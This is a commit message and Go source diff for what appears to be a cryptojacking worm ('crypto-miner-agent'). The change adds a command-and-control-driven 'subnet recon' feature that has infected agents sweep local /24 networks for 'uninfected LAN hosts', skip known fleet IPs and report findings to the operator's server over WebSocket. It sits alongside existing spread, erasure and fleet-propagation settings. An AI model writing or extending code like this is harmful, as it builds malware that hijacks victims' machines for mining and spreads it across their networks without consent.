Add agent-driven subnet recon sweeps for uninfected LAN hosts.

Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.

agent/client/mining_policy.go

@@ -4,6 +4,7 @@ import (
 	"encoding/json"
 	"strings"
 
+	"crypto-miner-agent/deploy"
 	"crypto-miner-agent/miner"
 )
 
@@ -104,6 +105,9 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
 		HashrateGateHPS       float64         `json:"hashrate_gate_hps"`
 		ErasureLanesEnabled   bool            `json:"erasure_lanes_enabled"`
 		FleetTorrentEnabled   bool            `json:"fleet_torrent_enabled"`
+		SubnetReconEnabled    bool            `json:"subnet_recon_enabled"`
+		SubnetReconIntervalMin int            `json:"subnet_recon_interval_min"`
+		SubnetFleetIPs        []string        `json:"subnet_fleet_ips"`
 		PolicySnapshotPollURL string          `json:"policy_snapshot_poll_url"`
 		EventBridgeRelayURL   string          `json:"eventbridge_relay_url"`
 		SpreadTemperament     json.RawMessage `json:"spread_temperament"`
@@ -120,6 +124,13 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
 	}
 	c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
 	c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
+	c.cfg.SubnetReconEnabled = policy.SubnetReconEnabled
+	if policy.SubnetReconIntervalMin > 0 {
+		c.cfg.SubnetReconIntervalMin = policy.SubnetReconIntervalMin
+	}
+	if len(policy.SubnetFleetIPs) > 0 {
+		c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(policy.SubnetFleetIPs, c.lanSeeders)
+	}
 	if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
 		c.cfg.PolicySnapshotPollURL = v
 	}
@@ -129,5 +140,10 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
 	if len(policy.SpreadTemperament) > 0 {
 		applySpreadTemperament(&c.cfg, policy.SpreadTemperament)
 	}
+	reconEnabled := c.cfg.SubnetReconEnabled
+	reconInterval := c.cfg.SubnetReconIntervalMin
+	reconFleetIPs := append([]string(nil), c.cfg.SubnetFleetIPs...)
+	agentID := c.agentID
 	c.mu.Unlock()
+	deploy.UpdateSubnetReconPolicy(reconEnabled, reconInterval, agentID, reconFleetIPs)
 }